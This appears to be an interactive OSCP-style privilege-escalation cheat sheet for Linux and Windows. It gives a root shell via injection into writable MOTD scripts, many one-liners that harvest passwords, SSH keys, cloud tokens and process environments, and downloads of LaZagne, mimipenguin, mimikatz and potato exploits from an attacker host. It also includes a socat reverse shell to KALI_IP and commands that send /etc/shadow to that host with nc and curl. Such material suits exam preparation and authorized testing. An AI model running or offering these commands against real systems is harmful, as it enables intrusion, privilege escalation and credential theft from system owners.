chmod -s /bin/bash
📝 Notes
+
/etc/update-motd.d Writability
Scripts here execute as root on every SSH login - writable = instant privesc
PRIVESCNEW
⚠️ Trigger requires SSH login. The MOTD scripts run when a user SSH-logs in, NOT when you simply run a command in your existing shell. Log OUT and back IN via SSH to trigger.
1. DETECT - find writable MOTD scripts
ls -la /etc/update-motd.d/ 2>/dev/null
find /etc/update-motd.d/ -writable -type f 2>/dev/null \
  && echo "[+] EXPLOITABLE: writable MOTD script - fires as root on next SSH login"
BACKUP - save original script
cp /etc/update-motd.d/00-header /tmp/00-header.bak
2. EXPLOIT - inject payload and trigger via SSH login
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/update-motd.d/00-header
# Log out and log back in via SSH to trigger (any user):
# ssh {{USER}}@{{TARGET}}
/tmp/rootbash -p
id  # uid=0(root)
RESTORE
cp /tmp/00-header.bak /etc/update-motd.d/00-header
rm /tmp/rootbash
📝 Notes
🔎
Deep Recon - Hidden Files & Credential Mining
When all vectors fail → hunt hidden files, leaked creds, forgotten configs, process secrets. Use this checklist.
ENUMCREDS
Reddit Wisdom: "If something was promised and it doesn't work - go back and search for hidden files, creds, or a simple trick you missed. Do more enum."
.env files, ~/.bash_history passwords, /proc/environ leaks, forgotten .git/config with tokens, wp-config.php - boxes have been solved at the last minute by running these one-liners.
1. Hidden Files & Directories
Find ALL hidden files (dot-prefixed) - skip proc/sys noise
find / -name ".*" -type f -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*" -not -path "*/run/*" 2>/dev/null
find / -name ".*" -type f -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/run/*" 2>/dev/null | grep -v "\.cache\|\.config/google\|\.local/share/mime"
Hidden files in home directories only (fast)
find /home /root -name ".*" -type f 2>/dev/null
find /home /root -name ".*" 2>/dev/null | xargs ls -la 2>/dev/null
Hidden dirs specifically
find / -name ".*" -type d -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | grep -v "snap\|flatpak\|\.cache"
ls -la /home/*/ 2>/dev/null   # hidden files in each home dir at a glance
Recently modified files (last 10 minutes - catches new deploys or backups)
find / -newer /tmp -type f -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | head -30
find / -mmin -10 -type f -not -path "*/proc/*" 2>/dev/null | head -20
2. Credential Hunting in Config & App Files
grep recursive - /etc and common app dirs
grep -rn "password\|passwd\|secret\|api_key\|token" /etc/ 2>/dev/null | grep -v "^Binary\|#\|pam\|policy"
grep -rn "password\|passwd" /var/www/ 2>/dev/null | grep -v "^Binary"
Find config files containing passwords
find / -name "*.conf" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.cfg" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.ini" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.env" -o -name ".env" 2>/dev/null | xargs cat 2>/dev/null
Web app config files - highest value targets
find / -name "wp-config.php" 2>/dev/null -exec cat {} \; 2>/dev/null
find / -name "config.php" 2>/dev/null | xargs grep -l "pass\|db_" 2>/dev/null | xargs cat
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET" 2>/dev/null | xargs cat
find / -name "database.yml" -o -name "database.php" -o -name "db.php" 2>/dev/null | xargs cat 2>/dev/null
find / -name ".env" 2>/dev/null -exec cat {} \;
YAML / JSON / properties files
find / -name "application.yml" -o -name "application.properties" 2>/dev/null | xargs grep -i "password\|secret" 2>/dev/null
find / -name "*.json" -not -path "*/node_modules/*" 2>/dev/null | xargs grep -l "password\|secret\|token" 2>/dev/null | head -10 | xargs cat
3. Shell History Files - Passwords Typed as Arguments
All history files for all users
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
cat ~/.sh_history 2>/dev/null
cat ~/.history 2>/dev/null
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null
Find ALL history files on the system
find / -name ".*history" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
find / -name ".*_history" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
Filter history for credential-looking lines
cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -iE "pass|secret|token|mysql|psql|ssh|curl.*-u|wget.*--user"
4. Process & Environment Variable Credential Leaks
Process command lines - passwords as CLI args
ps aux | grep -iE "pass|secret|key|token|api" | grep -v grep
ps aux | grep -v "grep\|\[" | grep -iE "\-p |\-\-pass|\-\-password|secret"
/proc cmdline - catches ALL process arguments including short-lived ones
strings /proc/*/cmdline 2>/dev/null | grep -iE "pass|secret|token|key" | sort -u
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE "pass|secret|token" | sort -u
/proc environ - process environment variables (often contains secrets)
strings /proc/*/environ 2>/dev/null | grep -iE "pass|secret|key|token|api" | sort -u
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|key|token|api" | sort -u
Current user environment
env | grep -iE "pass|secret|key|token|api"
printenv | grep -iE "pass|secret|key|token|api"
5. SSH Key Hunting
Find private keys anywhere on the system
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
find / -name "*.pem" -o -name "*.ppk" 2>/dev/null | grep -v "proc\|sys\|openssl"
find / -name "authorized_keys" 2>/dev/null
Check if found keys are usable (BEGIN PRIVATE KEY = unencrypted = instant use)
cat /path/to/id_rsa 2>/dev/null | grep "BEGIN.*PRIVATE KEY"
# If BEGIN RSA PRIVATE KEY with no ENCRYPTED header → key has no passphrase
# Use it: ssh -i /path/to/id_rsa user@TARGET
.ssh directories for all users
find / -name ".ssh" -type d 2>/dev/null | xargs ls -la 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
6. Database Credential Files
MySQL / MariaDB credential files
cat ~/.my.cnf 2>/dev/null
find / -name ".my.cnf" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
find / -name "my.cnf" 2>/dev/null | xargs grep -i "password\|user" 2>/dev/null
cat ~/.mysql_history 2>/dev/null
PostgreSQL credential files
cat ~/.pgpass 2>/dev/null
find / -name ".pgpass" 2>/dev/null | xargs cat 2>/dev/null
cat ~/.psql_history 2>/dev/null
SQLite databases - local app data stores
find / -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" 2>/dev/null | grep -v "proc\|snap\|cache" | head -15
# Dump tables from a found database:
sqlite3 /path/to/db.sqlite ".tables"
sqlite3 /path/to/db.sqlite "SELECT * FROM users LIMIT 20;"
7. Cloud & Dev Tool Credential Files
AWS / GCloud / Azure / Docker / NPM / Git tokens
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null | grep -i "auth\|token"
cat ~/.npmrc 2>/dev/null | grep -i "token\|auth"
cat ~/.gem/credentials 2>/dev/null
cat ~/.gitconfig 2>/dev/null
find / -name ".netrc" 2>/dev/null | xargs cat 2>/dev/null
find / -name "*.token" -o -name "*_token" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
Git repos - config often has tokens or creds embedded in remote URL
find / -name ".git" -type d 2>/dev/null | head -10
find / -name ".git" -type d 2>/dev/null | xargs -I{} cat {}/config 2>/dev/null | grep -i "url\|token\|pass"
8. Automated Tools - Linux Credential Mining
LaZagne (Linux)
Multi-source Credential Extractor
Same LaZagne as Windows - Python version. Extracts credentials from browsers, git, SSH, databases, mail, chats, AWS and more. Works without root for user-readable sources.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/laZagne.py -O /tmp/laZagne.py
python3 /tmp/laZagne.py all
python3 /tmp/laZagne.py all -oJ /tmp/lazagne_out.json    # JSON output
python3 /tmp/laZagne.py browsers       # Chrome, Firefox, Chromium
python3 /tmp/laZagne.py ssh            # SSH keys and known_hosts
python3 /tmp/laZagne.py databases      # MySQL, PostgreSQL, SQLite
python3 /tmp/laZagne.py git            # git credential store
python3 /tmp/laZagne.py mail           # Thunderbird, Evolution
python3 /tmp/laZagne.py chats          # Pidgin, Skype
Mimipenguin
Memory Credential Dump (needs root)
Extracts plaintext credentials from Linux process memory - gnome-keyring, vsftpd, sshd, Apache, git. Usually needs root but worth trying.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/mimipenguin.py -O /tmp/mimipenguin.py
wget http://{{KALI_IP}}:{{PORT}}/linux/mimipenguin.sh -O /tmp/mimipenguin.sh && chmod +x /tmp/mimipenguin.sh
python3 /tmp/mimipenguin.py    # Python version (most compatible)
bash /tmp/mimipenguin.sh        # Bash version
# What it targets:
# - gnome-keyring (GNOME keyring daemon)
# - vsftpd (FTP plaintext creds)
# - Apache (Basic Auth in memory)
# - sshd (SSH passwords)
linux-smart-enum (lse.sh)
Smart Enumeration - Focused Output
Better than LinPEAS for targeted checks. Levels 0-2 control verbosity. Level 2 = everything.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/lse.sh -O /tmp/lse.sh && chmod +x /tmp/lse.sh
/tmp/lse.sh -l 0    # critical findings only
/tmp/lse.sh -l 1    # important
/tmp/lse.sh -l 2    # all findings (noisy but thorough)
/tmp/lse.sh -i      # interactive mode, ask for sudo password if available
LinEnum
Legacy but Thorough
Older but still finds things LinPEAS misses in some areas - config files, user info, SUID binaries.
TRANSFER - download to target first (Kali HTTP server must be running)
wget http://{{KALI_IP}}:{{PORT}}/linux/LinEnum.sh -O /tmp/LinEnum.sh && chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t              # thorough mode
/tmp/LinEnum.sh -t -r report    # save to report file
/tmp/LinEnum.sh -s              # supply sudo password interactively
9. Mail Files & Log Credential Leaks
Mail files - sometimes contain password resets or credentials
ls /var/mail/ 2>/dev/null
cat /var/mail/$USER 2>/dev/null
ls /var/spool/mail/ 2>/dev/null
cat /var/spool/mail/$USER 2>/dev/null
find / -name "*.mbox" 2>/dev/null | xargs ls -la 2>/dev/null
Log files - may contain leaked passwords from verbose logging
grep -ri "password\|passwd\|Authorization\|Bearer" /var/log/ 2>/dev/null | grep -v "^Binary" | head -30
grep -i "password\|credential\|secret" /var/log/auth.log 2>/dev/null | tail -20
grep -i "password" /var/log/apache2/access.log 2>/dev/null | head -20   # URL params
grep -i "password" /var/log/nginx/access.log 2>/dev/null | head -20
10. Backup, Temp & Leftover Files
Backup and old files - often contain archived passwords
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" 2>/dev/null | grep -v "proc\|sys\|lib" | head -20
find / -name "*~" -o -name "*.swp" 2>/dev/null | grep -v proc | head -20   # vim temp files
find /tmp /var/tmp /dev/shm -type f 2>/dev/null | xargs ls -la 2>/dev/null
Archive files - may contain old config with passwords
find / -name "*.tar.gz" -o -name "*.zip" -o -name "*.tar" -o -name "*.7z" 2>/dev/null | grep -v "proc\|sys\|lib\|dpkg" | head -15
World-readable sensitive files
find /etc -readable -type f 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
find / -perm -o+r -name "shadow*" 2>/dev/null   # readable shadow = instant win
World-writable directories and files (privilege escalation paths)
find / -writable -type d -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | grep -v "tmp\|/run\|/dev"
find /etc -writable -type f 2>/dev/null   # writable /etc files = critical
✅ Linux Deep Recon Checklist - Run ALL before declaring "stuck"
  • python3 /tmp/laZagne.py all
  • find /home /root -name ".*" 2>/dev/null | xargs ls -la 2>/dev/null
  • cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -iE "pass|secret|ssh|mysql"
  • find / -name "wp-config.php" -o -name ".env" 2>/dev/null | xargs cat 2>/dev/null
  • strings /proc/*/environ 2>/dev/null | grep -iE "pass|secret|token" | sort -u
  • find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
  • cat ~/.my.cnf ~/.pgpass ~/.aws/credentials ~/.docker/config.json 2>/dev/null
  • find / -name ".git" -type d 2>/dev/null | xargs -I{} cat {}/config 2>/dev/null | grep url
  • cat /var/mail/$USER /var/spool/mail/$USER 2>/dev/null
  • find /etc -writable -type f 2>/dev/null
  • find / -name "*.bak" -o -name "*.old" 2>/dev/null | grep -v "proc\|sys\|lib"
  • grep -ri "password" /var/log/ 2>/dev/null | grep -v "^Binary" | head -20
📝 Notes
🔧
GTFOBins Quick Lookup
Search binaries for SUID, sudo, capabilities, file-read, file-write exploits
PRIVESC
🔗 Official GTFOBins Database For the full, up-to-date database of Unix binary exploitation techniques visit: https://gtfobins.github.io  - covers 300+ binaries with SUID, sudo, capabilities, file-read, file-write, shell, command, reverse-shell methods. The quick reference below covers the most common exam binaries.
🐦
Reverse Shell Generator
Auto-fills with your KALI_IP and RPORT from the header
UTIL
Select a type above...
🔗
Shell Stabilization
Upgrade your reverse shell to a fully interactive TTY
UTIL
Method 1: Python pty (Most Common)
On target - spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")' - Python 2
python3 -c 'import pty;pty.spawn("/bin/sh")'
Background + fix terminal (Ctrl+Z → on Kali)
Ctrl+Z
stty raw -echo; fg
Fix terminal size + TERM on target
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200
Method 2: script (when Python unavailable)
script /dev/null -c bash
Method 3: socat (best interactive - requires socat on both sides)
On Kali (listener)
socat file:`tty`,raw,echo=0 tcp-listen:{{RPORT}}
On target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{{KALI_IP}}:{{RPORT}}
Other TTY spawn methods
bash -i
/bin/bash -i
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
lua -e 'os.execute("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/bash"
awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \;
📤
File Transfer Quick-Ref
Kali IP: {{KALI_IP}} | Port: {{PORT}} | Fill in the header vars above
UTIL
Kali: Start HTTP Server
python3 -m http.server {{PORT}}
python3 -m http.server {{PORT}} --directory ~/privesc-toolkit - serve toolkit
cd ~/privesc-toolkit && python3 -m http.server {{PORT}}
SMB server (impacket) - useful when HTTP is blocked
impacket-smbserver share ~/privesc-toolkit -smb2support
Windows - Download to Target
PowerShell iwr (most reliable)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/FILE -Outfile {{WPATH}}\FILE
certutil (cmd, no PS needed)
certutil.exe -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/FILE {{WPATH}}\FILE
bitsadmin (works through firewall - uses BITS service)
bitsadmin /transfer job /download /priority high http://{{KALI_IP}}:{{PORT}}/windows/FILE {{WPATH}}\FILE
From SMB share (Kali: impacket-smbserver share . -smb2support)
copy \\{{KALI_IP}}\share\FILE {{WPATH}}\FILE
# Or from PowerShell:
New-PSDrive -Name K -PSProvider FileSystem -Root \\{{KALI_IP}}\share; copy K:\FILE {{WPATH}}\FILE
evil-winrm upload (within evil-winrm session)
upload /home/kali/privesc-toolkit/FILE C:\Temp\FILE
PowerShell WebClient (CLM fallback)
(New-Object Net.WebClient).DownloadFile("http://{{KALI_IP}}:{{PORT}}/windows/FILE","{{WPATH}}\FILE")
TFTP (Kevin-style) - when TFTP service is running on the target
# Check if TFTP is listening (port 69 UDP):
netstat -an | findstr ":69"
# Download file from Kali's TFTP server (Kali: atftpd --daemon --port 69 ~/privesc-toolkit):
tftp -i {{KALI_IP}} get FILE {{WPATH}}\FILE
# Example: download nc64.exe
tftp -i {{KALI_IP}} get nc64.exe {{WPATH}}\nc64.exe
Linux - Download to Target
wget http://{{KALI_IP}}:{{PORT}}/linux/FILE -O FILE
curl http://{{KALI_IP}}:{{PORT}}/linux/FILE -o FILE
Exfiltrate Files FROM Target
Linux to Kali (nc)
# On Kali: nc -lvnp {{RPORT}} > loot.file
# On target:
nc {{KALI_IP}} {{RPORT}} < /etc/shadow
Base64 encode (when nc not available)
base64 -w 0 /etc/shadow | curl -d @- http://{{KALI_IP}}:{{PORT}}/
# On Kali: nc -lvnp {{PORT}} | base64 -d > shadow
🏆
Proof Collection (OSCP Exam)
Screenshot these commands + output for every machine
EXAM

Windows Proof Commands

whoami
hostname
ipconfig /all
type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\local.txt
One-liner proof screenshot
whoami && hostname && ipconfig /all && type C:\Users\Administrator\Desktop\proof.txt

Linux Proof Commands

id
hostname
ip a
cat /root/proof.txt
cat /root/local.txt
One-liner proof screenshot
id && hostname && ip a && cat /root/proof.txt
📰
Toolkit - Quick Download Reference
Run ToolKitDownloader.py to download all tools. Then use these transfer commands.
UTIL
Setup python3 ToolKitDownloader.py - downloads all tools to ~/privesc-toolkit/ and serves on a random port. Transfer commands print automatically when the server starts.
Windows Key Tools
Download all essential tools at once
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe -Outfile winPEAS.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET4.exe -Outfile GodPotato.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile nc64.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/PrintSpoofer64.exe -Outfile PrintSpoofer.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/mimikatz_trunk.zip -Outfile mimikatz.zip
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerUp.ps1 -Outfile PowerUp.ps1
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerView.ps1 -Outfile PowerView.ps1
Linux Key Tools
wget http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh -O linpeas.sh && chmod +x linpeas.sh
wget http://{{KALI_IP}}:{{PORT}}/linux/pspy64 -O pspy64 && chmod +x pspy64
wget http://{{KALI_IP}}:{{PORT}}/linux/LinEnum.sh -O LinEnum.sh && chmod +x LinEnum.sh
wget http://{{KALI_IP}}:{{PORT}}/linux/linux-exploit-suggester.sh -O les.sh && chmod +x les.sh